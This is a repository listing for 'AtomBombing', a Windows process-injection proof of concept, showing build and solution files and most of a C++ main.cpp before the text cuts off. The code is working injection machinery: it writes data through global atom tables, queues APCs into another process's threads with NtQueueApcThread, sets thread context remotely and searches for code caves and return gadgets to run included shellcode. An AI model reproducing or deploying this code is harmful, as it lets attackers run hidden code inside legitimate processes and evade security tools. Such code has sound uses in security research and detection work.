├── .gitignore ├── AtomBombing.sln ├── AtomBombing ├── AtomBombing.vcxproj ├── AtomBombing.vcxproj.filters └── main.cpp ├── AtomBombingShellcode ├── AtomBombingShellcode.vcxproj ├── AtomBombingShellcode.vcxproj.filters ├── Scripts │ └── Post_Link.py └── main.c └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | x64/ 19 | x86/ 20 | bld/ 21 | [Bb]in/ 22 | [Oo]bj/ 23 | [Ll]og/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | artifacts/ 46 | 47 | *_i.c 48 | *_p.c 49 | *_i.h 50 | *.ilk 51 | *.meta 52 | *.obj 53 | *.pch 54 | *.pdb 55 | *.pgc 56 | *.pgd 57 | *.rsp 58 | *.sbr 59 | *.tlb 60 | *.tli 61 | *.tlh 62 | *.tmp 63 | *.tmp_proj 64 | *.log 65 | *.vspscc 66 | *.vssscc 67 | .builds 68 | *.pidb 69 | *.svclog 70 | *.scc 71 | 72 | # Chutzpah Test files 73 | _Chutzpah* 74 | 75 | # Visual C++ cache files 76 | ipch/ 77 | *.aps 78 | *.ncb 79 | *.opendb 80 | *.opensdf 81 | *.sdf 82 | *.cachefile 83 | *.VC.db 84 | *.VC.VC.opendb 85 | 86 | # Visual Studio profiler 87 | *.psess 88 | *.vsp 89 | *.vspx 90 | *.sap 91 | 92 | # TFS 2012 Local Workspace 93 | $tf/ 94 | 95 | # Guidance Automation Toolkit 96 | *.gpState 97 | 98 | # ReSharper is a .NET coding add-in 99 | _ReSharper*/ 100 | *.[Rr]e[Ss]harper 101 | *.DotSettings.user 102 | 103 | # JustCode is a .NET coding add-in 104 | .JustCode 105 | 106 | # TeamCity is a build add-in 107 | _TeamCity* 108 | 109 | # DotCover is a Code Coverage Tool 110 | *.dotCover 111 | 112 | # NCrunch 113 | _NCrunch_* 114 | .*crunch*.local.xml 115 | nCrunchTemp_* 116 | 117 | # MightyMoose 118 | *.mm.* 119 | AutoTest.Net/ 120 | 121 | # Web workbench (sass) 122 | .sass-cache/ 123 | 124 | # Installshield output folder 125 | [Ee]xpress/ 126 | 127 | # DocProject is a documentation generator add-in 128 | DocProject/buildhelp/ 129 | DocProject/Help/*.HxT 130 | DocProject/Help/*.HxC 131 | DocProject/Help/*.hhc 132 | DocProject/Help/*.hhk 133 | DocProject/Help/*.hhp 134 | DocProject/Help/Html2 135 | DocProject/Help/html 136 | 137 | # Click-Once directory 138 | publish/ 139 | 140 | # Publish Web Output 141 | *.[Pp]ublish.xml 142 | *.azurePubxml 143 | # TODO: Comment the next line if you want to checkin your web deploy settings 144 | # but database connection strings (with potential passwords) will be unencrypted 145 | *.pubxml 146 | *.publishproj 147 | 148 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 149 | # checkin your Azure Web App publish settings, but sensitive information contained 150 | # in these scripts will be unencrypted 151 | PublishScripts/ 152 | 153 | # NuGet Packages 154 | *.nupkg 155 | # The packages folder can be ignored because of Package Restore 156 | **/packages/* 157 | # except build/, which is used as an MSBuild target. 158 | !**/packages/build/ 159 | # Uncomment if necessary however generally it will be regenerated when needed 160 | #!**/packages/repositories.config 161 | # NuGet v3's project.json files produces more ignoreable files 162 | *.nuget.props 163 | *.nuget.targets 164 | 165 | # Microsoft Azure Build Output 166 | csx/ 167 | *.build.csdef 168 | 169 | # Microsoft Azure Emulator 170 | ecf/ 171 | rcf/ 172 | 173 | # Windows Store app package directories and files 174 | AppPackages/ 175 | BundleArtifacts/ 176 | Package.StoreAssociation.xml 177 | _pkginfo.txt 178 | 179 | # Visual Studio cache files 180 | # files ending in .cache can be ignored 181 | *.[Cc]ache 182 | # but keep track of directories ending in .cache 183 | !*.[Cc]ache/ 184 | 185 | # Others 186 | ClientBin/ 187 | ~$* 188 | *~ 189 | *.dbmdl 190 | *.dbproj.schemaview 191 | *.pfx 192 | *.publishsettings 193 | node_modules/ 194 | orleans.codegen.cs 195 | 196 | # Since there are multiple workflows, uncomment next line to ignore bower_components 197 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 198 | #bower_components/ 199 | 200 | # RIA/Silverlight projects 201 | Generated_Code/ 202 | 203 | # Backup & report files from converting an old project file 204 | # to a newer Visual Studio version. Backup files are not needed, 205 | # because we have git ;-) 206 | _UpgradeReport_Files/ 207 | Backup*/ 208 | UpgradeLog*.XML 209 | UpgradeLog*.htm 210 | 211 | # SQL Server files 212 | *.mdf 213 | *.ldf 214 | 215 | # Business Intelligence projects 216 | *.rdl.data 217 | *.bim.layout 218 | *.bim_*.settings 219 | 220 | # Microsoft Fakes 221 | FakesAssemblies/ 222 | 223 | # GhostDoc plugin setting file 224 | *.GhostDoc.xml 225 | 226 | # Node.js Tools for Visual Studio 227 | .ntvs_analysis.dat 228 | 229 | # Visual Studio 6 build log 230 | *.plg 231 | 232 | # Visual Studio 6 workspace options file 233 | *.opt 234 | 235 | # Visual Studio LightSwitch build output 236 | **/*.HTMLClient/GeneratedArtifacts 237 | **/*.DesktopClient/GeneratedArtifacts 238 | **/*.DesktopClient/ModelManifest.xml 239 | **/*.Server/GeneratedArtifacts 240 | **/*.Server/ModelManifest.xml 241 | _Pvt_Extensions 242 | 243 | # Paket dependency manager 244 | .paket/paket.exe 245 | paket-files/ 246 | 247 | # FAKE - F# Make 248 | .fake/ 249 | 250 | # JetBrains Rider 251 | .idea/ 252 | *.sln.iml 253 | -------------------------------------------------------------------------------- /AtomBombing.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2013 4 | VisualStudioVersion = 12.0.40629.0 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AtomBombing", "AtomBombing\AtomBombing.vcxproj", "{D303FA55-CFF8-4484-888A-F06B21559014}" 7 | ProjectSection(ProjectDependencies) = postProject 8 | {DAD3D2B2-372F-4486-91FA-032CC0AA1133} = {DAD3D2B2-372F-4486-91FA-032CC0AA1133} 9 | EndProjectSection 10 | EndProject 11 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AtomBombingShellcode", "AtomBombingShellcode\AtomBombingShellcode.vcxproj", "{DAD3D2B2-372F-4486-91FA-032CC0AA1133}" 12 | EndProject 13 | Global 14 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 15 | Debug|Win32 = Debug|Win32 16 | Release|Win32 = Release|Win32 17 | EndGlobalSection 18 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 19 | {D303FA55-CFF8-4484-888A-F06B21559014}.Debug|Win32.ActiveCfg = Release|Win32 20 | {D303FA55-CFF8-4484-888A-F06B21559014}.Debug|Win32.Build.0 = Release|Win32 21 | {D303FA55-CFF8-4484-888A-F06B21559014}.Release|Win32.ActiveCfg = Release|Win32 22 | {D303FA55-CFF8-4484-888A-F06B21559014}.Release|Win32.Build.0 = Release|Win32 23 | {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Debug|Win32.ActiveCfg = Release|Win32 24 | {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Debug|Win32.Build.0 = Release|Win32 25 | {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Release|Win32.ActiveCfg = Release|Win32 26 | {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Release|Win32.Build.0 = Release|Win32 27 | EndGlobalSection 28 | GlobalSection(SolutionProperties) = preSolution 29 | HideSolutionNode = FALSE 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /AtomBombing/AtomBombing.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Release 6 | Win32 7 | 8 | 9 | 10 | {D303FA55-CFF8-4484-888A-F06B21559014} 11 | Win32Proj 12 | AtomBombing 13 | 14 | 15 | 16 | Application 17 | false 18 | v120 19 | true 20 | Unicode 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | false 31 | 32 | 33 | 34 | Level4 35 | 36 | 37 | Disabled 38 | true 39 | true 40 | WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) 41 | MultiThreaded 42 | false 43 | 44 | 45 | Console 46 | true 47 | true 48 | true 49 | ntdll.lib;%(AdditionalDependencies) 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /AtomBombing/AtomBombing.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /AtomBombing/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "..\Release\AtomBombingShellcode.h" 7 | 8 | #define RTL_MAXIMUM_ATOM_LENGTH (255) 9 | #define SHELLCODE_FUNCTION_POINTERS_OFFSET (25) 10 | 11 | #define X86_RET ('\xc3') 12 | 13 | #define TEXT_SECTION (".text") 14 | #define DATA_SECTION (".data") 15 | 16 | #define NTDLL ("ntdll.dll") 17 | #define KERNEL32 ("kernel32.dll") 18 | #define NTSETCONTEXTTHREAD ("NtSetContextThread") 19 | #define NTWAITFORSINGLEOBJECT ("NtWaitForSingleObject") 20 | #define MEMCPY ("memcpy") 21 | #define GETPROCADDRESS ("GetProcAddress") 22 | #define LOADLIBRARYA ("LoadLibraryA") 23 | #define GLOBALGETATOMNAMEW ("GlobalGetAtomNameW") 24 | #define NTQUEUEAPCTHREAD ("NtQueueApcThread") 25 | #define WAITFORSINGLEOBJECTEX ("WaitForSingleObjectEx") 26 | 27 | 28 | typedef VOID(*PKNORMAL_ROUTINE)(PVOID NormalContext, 29 | PVOID SystemArgument1, 30 | PVOID SystemArgument2 31 | ); 32 | 33 | typedef ULONG(WINAPI * _NtQueueApcThread)(HANDLE ThreadHandle, 34 | PKNORMAL_ROUTINE ApcRoutine, 35 | PVOID NormalContext, 36 | PVOID SystemArgument1, 37 | PVOID SystemArgument2 38 | ); 39 | 40 | typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)( 41 | HANDLE ProcessHandle, 42 | DWORD ProcessInformationClass, 43 | PVOID ProcessInformation, 44 | DWORD ProcessInformationLength, 45 | PDWORD ReturnLength 46 | ); 47 | 48 | #pragma pack(push, 1) 49 | typedef struct _FUNCTIONPOINTERS 50 | { 51 | void *pfnLoadLibraryA; 52 | void *pfnGetProcAddress; 53 | } FUNCTIONPOINTERS, *PFUNCTIONPOINTERS; 54 | #pragma pack(pop) 55 | 56 | typedef enum _ESTATUS 57 | { 58 | ESTATUS_INVALID = -1, 59 | ESTATUS_SUCCESS = 0, 60 | 61 | ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED = 0x100, 62 | 63 | ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED, 64 | 65 | ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED, 66 | 67 | ESTATUS_MAIN_GETTHREADTEBADDRESS_NTQUERYINFORMATIONTHREAD_ERROR, 68 | 69 | ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR, 70 | 71 | ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR, 72 | ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR, 73 | ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND, 74 | 75 | ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED, 76 | 77 | ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED, 78 | ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED, 79 | 80 | ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED, 81 | ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED, 82 | ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED, 83 | 84 | ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL, 85 | 86 | ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND, 87 | 88 | ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED, 89 | ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED, 90 | ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED, 91 | 92 | ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND, 93 | 94 | ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED, 95 | 96 | ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED, 97 | ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND, 98 | 99 | ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED, 100 | ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED, 101 | 102 | ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED, 103 | ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED, 104 | ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH, 105 | 106 | ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED, 107 | 108 | ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED, 109 | ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED, 110 | 111 | ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED, 112 | 113 | ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED, 114 | ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED, 115 | ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED, 116 | ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED, 117 | ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED, 118 | 119 | } ESTATUS, *PESTATUS; 120 | 121 | #define ESTATUS_FAILED(eStatus) (ESTATUS_SUCCESS != eStatus) 122 | 123 | ESTATUS GetFunctionAddressFromDll( 124 | PSTR pszDllName, 125 | PSTR pszFunctionName, 126 | PVOID *ppvFunctionAddress 127 | ) 128 | { 129 | HMODULE hModule = NULL; 130 | PVOID pvFunctionAddress = NULL; 131 | ESTATUS eReturn = ESTATUS_INVALID; 132 | 133 | hModule = GetModuleHandleA(pszDllName); 134 | if (NULL == hModule) 135 | { 136 | eReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED; 137 | goto lblCleanup; 138 | } 139 | 140 | pvFunctionAddress = GetProcAddress(hModule, pszFunctionName); 141 | if (NULL == pvFunctionAddress) 142 | { 143 | eReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED; 144 | goto lblCleanup; 145 | } 146 | 147 | *ppvFunctionAddress = pvFunctionAddress; 148 | eReturn = ESTATUS_SUCCESS; 149 | 150 | lblCleanup: 151 | return eReturn; 152 | } 153 | 154 | ESTATUS main_WasAtomWrittenSuccessfully( 155 | ATOM tAtom, 156 | PWSTR pswzExpectedBuffer, 157 | PBOOL pbWasAtomWrittenSuccessfully 158 | ) 159 | { 160 | LPWSTR pswzCheckBuffer = NULL; 161 | DWORD cbCheckBuffer = 0; 162 | ESTATUS eReturn = ESTATUS_INVALID; 163 | UINT uiRet = 0; 164 | HMODULE hUser32 = NULL; 165 | BOOL bWasAtomWrittenSuccessfully = FALSE; 166 | 167 | // If user32.dll is not loaded, the ATOM functions return access denied.For more details see : 168 | // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html 169 | hUser32 = LoadLibrary(L"user32.dll"); 170 | if (NULL == hUser32) 171 | { 172 | goto lblCleanup; 173 | } 174 | 175 | cbCheckBuffer = (wcslen(pswzExpectedBuffer) + 1) * sizeof(WCHAR); 176 | 177 | pswzCheckBuffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbCheckBuffer); 178 | if (NULL == pswzCheckBuffer) 179 | { 180 | printf("HeapAlloc failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError()); 181 | eReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED; 182 | goto lblCleanup; 183 | } 184 | 185 | uiRet = GlobalGetAtomNameW(tAtom, pswzCheckBuffer, cbCheckBuffer); 186 | if (0 == uiRet) 187 | { 188 | printf("GlobalGetAtomNameA failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError()); 189 | eReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED; 190 | goto lblCleanup; 191 | } 192 | 193 | bWasAtomWrittenSuccessfully = (0 == memcmp(pswzCheckBuffer, pswzExpectedBuffer, cbCheckBuffer)); 194 | 195 | eReturn = ESTATUS_SUCCESS; 196 | *pbWasAtomWrittenSuccessfully = bWasAtomWrittenSuccessfully; 197 | 198 | lblCleanup: 199 | if (NULL != pswzCheckBuffer) 200 | { 201 | HeapFree(GetProcessHeap(), 0, pswzCheckBuffer); 202 | pswzCheckBuffer = NULL; 203 | } 204 | return eReturn; 205 | } 206 | 207 | ESTATUS main_AddNullTerminatedAtomAndVerifyW(LPWSTR pswzBuffer, ATOM *ptAtom) 208 | { 209 | ATOM tAtom = 0; 210 | ESTATUS eReturn = ESTATUS_INVALID; 211 | LPWSTR pswzCheckBuffer = NULL; 212 | DWORD cbCheckBuffer = 0; 213 | UINT uiRet = 0; 214 | HMODULE hUser32 = NULL; 215 | BOOL bWasAtomWrittenSuccessfully = FALSE; 216 | 217 | // If user32.dll is not loaded, the ATOM functions return access denied. For more details see : 218 | // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html 219 | hUser32 = LoadLibrary(L"user32.dll"); 220 | 221 | do 222 | { 223 | tAtom = GlobalAddAtomW(pswzBuffer); 224 | if (0 == tAtom) 225 | { 226 | printf("GlobalAddAtomA failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError()); 227 | eReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED; 228 | goto lblCleanup; 229 | } 230 | 231 | eReturn = main_WasAtomWrittenSuccessfully(tAtom, pswzBuffer, &bWasAtomWrittenSuccessfully); 232 | if (ESTATUS_FAILED(eReturn)) 233 | { 234 | goto lblCleanup; 235 | } 236 | 237 | if (FALSE != bWasAtomWrittenSuccessfully) 238 | { 239 | break; 240 | } 241 | 242 | for (int i = 0; i < 0x2; i++) 243 | { 244 | SetLastError(ERROR_SUCCESS); 245 | GlobalDeleteAtom(tAtom); 246 | if (ERROR_SUCCESS != GetLastError()) 247 | { 248 | eReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED; 249 | goto lblCleanup; 250 | } 251 | } 252 | } while (FALSE == bWasAtomWrittenSuccessfully); 253 | 254 | 255 | eReturn = ESTATUS_SUCCESS; 256 | *ptAtom = tAtom; 257 | 258 | lblCleanup: 259 | return eReturn; 260 | 261 | } 262 | 263 | ESTATUS main_NtQueueApcThreadWrapper( 264 | HANDLE hThread, 265 | PKNORMAL_ROUTINE pfnApcRoutine, 266 | PVOID pvArg1, 267 | PVOID pvArg2, 268 | PVOID pvArg3 269 | ) 270 | { 271 | HMODULE hNtDll = NULL; 272 | HMODULE hKernel32 = NULL; 273 | HMODULE hUser32 = NULL; 274 | _NtQueueApcThread NtQueueApcThread = NULL; 275 | NTSTATUS ntStatus = NULL; 276 | ESTATUS eReturn = ESTATUS_INVALID; 277 | 278 | // If user32.dll is not loaded, the ATOM functions return access denied. For more details see: 279 | // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html 280 | hUser32 = LoadLibrary(L"user32.dll"); 281 | hKernel32 = GetModuleHandle(L"kernel32.dll"); 282 | hNtDll = GetModuleHandle(L"ntdll.dll"); 283 | 284 | eReturn = GetFunctionAddressFromDll( 285 | NTDLL, 286 | NTQUEUEAPCTHREAD, 287 | (PVOID *) &NtQueueApcThread 288 | ); 289 | if (ESTATUS_FAILED(eReturn)) 290 | { 291 | goto lblCleanup; 292 | } 293 | 294 | ntStatus = NtQueueApcThread( 295 | hThread, 296 | pfnApcRoutine, 297 | pvArg1, 298 | pvArg2, 299 | pvArg3 300 | ); 301 | if (0 != ntStatus) 302 | { 303 | printf("NtQueueApcThread failed. ret: 0x%X (%d)\n\n\n", ntStatus, ntStatus); 304 | eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED; 305 | goto lblCleanup; 306 | } 307 | 308 | eReturn = ESTATUS_SUCCESS; 309 | 310 | lblCleanup: 311 | 312 | return eReturn; 313 | } 314 | 315 | ESTATUS main_NtQueueApcThreadWaitForSingleObjectEx( 316 | HANDLE hRemoteThread, 317 | HANDLE hWaitHandle, 318 | DWORD dwWaitMilliseconds, 319 | BOOL bWaitAlertable 320 | ) 321 | { 322 | ESTATUS eReturn = ESTATUS_INVALID; 323 | PKNORMAL_ROUTINE pfnWaitForSingleObjectEx = NULL; 324 | 325 | eReturn = GetFunctionAddressFromDll( 326 | KERNEL32, 327 | WAITFORSINGLEOBJECTEX, 328 | (PVOID *) &pfnWaitForSingleObjectEx 329 | ); 330 | if (ESTATUS_FAILED(eReturn)) 331 | { 332 | goto lblCleanup; 333 | } 334 | 335 | eReturn = main_NtQueueApcThreadWrapper( 336 | hRemoteThread, 337 | pfnWaitForSingleObjectEx, 338 | hWaitHandle, 339 | (PVOID)dwWaitMilliseconds, 340 | (PVOID)bWaitAlertable 341 | ); 342 | if (ESTATUS_FAILED(eReturn)) 343 | { 344 | goto lblCleanup; 345 | } 346 | 347 | eReturn = ESTATUS_SUCCESS; 348 | 349 | lblCleanup: 350 | 351 | return eReturn; 352 | } 353 | 354 | ESTATUS main_QueueUserApcWrapperAndKeepAlertable( 355 | HANDLE hThread, 356 | PAPCFUNC pfnAPC, 357 | ULONG_PTR dwData 358 | ) 359 | { 360 | ESTATUS eReturn = ESTATUS_INVALID; 361 | DWORD dwErr = FALSE; 362 | 363 | dwErr = SuspendThread(hThread); 364 | if (((DWORD)-1) == dwErr) 365 | { 366 | eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED; 367 | printf("SuspendThread failed. GLE: %d.", GetLastError()); 368 | goto lblCleanup; 369 | } 370 | 371 | dwErr = QueueUserAPC(pfnAPC, hThread, dwData); 372 | if (0 == dwErr) 373 | { 374 | eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED; 375 | printf("SuspendThread failed. GLE: %d.", GetLastError()); 376 | goto lblCleanup; 377 | } 378 | 379 | eReturn = main_NtQueueApcThreadWaitForSingleObjectEx( 380 | hThread, 381 | GetCurrentThread(), 382 | 5000, 383 | TRUE 384 | ); 385 | if (ESTATUS_FAILED(eReturn)) 386 | { 387 | goto lblCleanup; 388 | } 389 | 390 | dwErr = ResumeThread(hThread); 391 | if (((DWORD)-1) == dwErr) 392 | { 393 | printf("ResumeThread failed. GLE: %d.", GetLastError()); 394 | eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED; 395 | goto lblCleanup; 396 | } 397 | 398 | eReturn = ESTATUS_SUCCESS; 399 | 400 | lblCleanup: 401 | return eReturn; 402 | } 403 | 404 | ESTATUS main_NtQueueApcThreadWrapperAndKeepAlertable( 405 | HANDLE hThread, 406 | PKNORMAL_ROUTINE pfnApcRoutine, 407 | PVOID pvArg1, 408 | PVOID pvArg2, 409 | PVOID pvArg3 410 | ) 411 | { 412 | ESTATUS eReturn = ESTATUS_INVALID; 413 | DWORD dwErr = FALSE; 414 | 415 | dwErr = SuspendThread(hThread); 416 | if (((DWORD)-1) == dwErr) 417 | { 418 | eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED; 419 | printf("SuspendThread failed. GLE: %d.", GetLastError()); 420 | goto lblCleanup; 421 | } 422 | 423 | eReturn = main_NtQueueApcThreadWrapper( 424 | hThread, 425 | pfnApcRoutine, 426 | pvArg1, 427 | pvArg2, 428 | pvArg3 429 | ); 430 | if (ESTATUS_FAILED(eReturn)) 431 | { 432 | goto lblCleanup; 433 | } 434 | 435 | eReturn = main_NtQueueApcThreadWaitForSingleObjectEx( 436 | hThread, 437 | GetCurrentThread(), 438 | 5000, 439 | TRUE 440 | ); 441 | if (ESTATUS_FAILED(eReturn)) 442 | { 443 | goto lblCleanup; 444 | } 445 | 446 | dwErr = ResumeThread(hThread); 447 | if (((DWORD)-1) == dwErr) 448 | { 449 | printf("ResumeThread failed. GLE: %d.", GetLastError()); 450 | eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED; 451 | goto lblCleanup; 452 | } 453 | 454 | eReturn = ESTATUS_SUCCESS; 455 | 456 | lblCleanup: 457 | return eReturn; 458 | } 459 | 460 | ESTATUS main_ApcSetEventAndKeepAlertable(HANDLE hThread, HANDLE hRemoteHandle) 461 | { 462 | ESTATUS eReturn = ESTATUS_INVALID; 463 | 464 | eReturn = main_QueueUserApcWrapperAndKeepAlertable( 465 | hThread, 466 | (PAPCFUNC)SetEvent, 467 | (ULONG_PTR)hRemoteHandle 468 | ); 469 | if (ESTATUS_FAILED(eReturn)) 470 | { 471 | goto lblCleanup; 472 | } 473 | 474 | eReturn = ESTATUS_SUCCESS; 475 | 476 | lblCleanup: 477 | return eReturn; 478 | } 479 | 480 | ESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext) 481 | { 482 | PKNORMAL_ROUTINE pfnSetThreadContext = NULL; 483 | ESTATUS eReturn = ESTATUS_INVALID; 484 | 485 | eReturn = GetFunctionAddressFromDll( 486 | NTDLL, 487 | NTSETCONTEXTTHREAD, 488 | (PVOID *) &pfnSetThreadContext 489 | ); 490 | if (ESTATUS_FAILED(eReturn)) 491 | { 492 | goto lblCleanup; 493 | } 494 | 495 | 496 | eReturn = main_NtQueueApcThreadWrapper( 497 | hThread, 498 | pfnSetThreadContext, 499 | GetCurrentThread(), 500 | (PVOID)ptContext, 501 | (PVOID)NULL 502 | ); 503 | if (ESTATUS_FAILED(eReturn)) 504 | { 505 | goto lblCleanup; 506 | } 507 | 508 | eReturn = ESTATUS_SUCCESS; 509 | 510 | lblCleanup: 511 | 512 | return eReturn; 513 | } 514 | 515 | ESTATUS main_DoesStringContainNullTerminatorW( 516 | PVOID pvBuffer, 517 | DWORD dwBufferSize, 518 | PBOOL pbDoesStringContainUnicodeNullTerminator 519 | ) 520 | { 521 | PWCHAR pwcPos = NULL; 522 | ESTATUS eReturn = ESTATUS_INVALID; 523 | 524 | pwcPos = wcschr((LPWSTR)pvBuffer, UNICODE_NULL); 525 | if (0 == pwcPos) 526 | { 527 | eReturn = ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED; 528 | goto lblCleanup; 529 | } 530 | 531 | if ((DWORD)(pwcPos - (PWCHAR)pvBuffer) == (dwBufferSize / sizeof(WCHAR)-1)) 532 | { 533 | *pbDoesStringContainUnicodeNullTerminator = FALSE; 534 | } 535 | else 536 | { 537 | *pbDoesStringContainUnicodeNullTerminator = TRUE; 538 | } 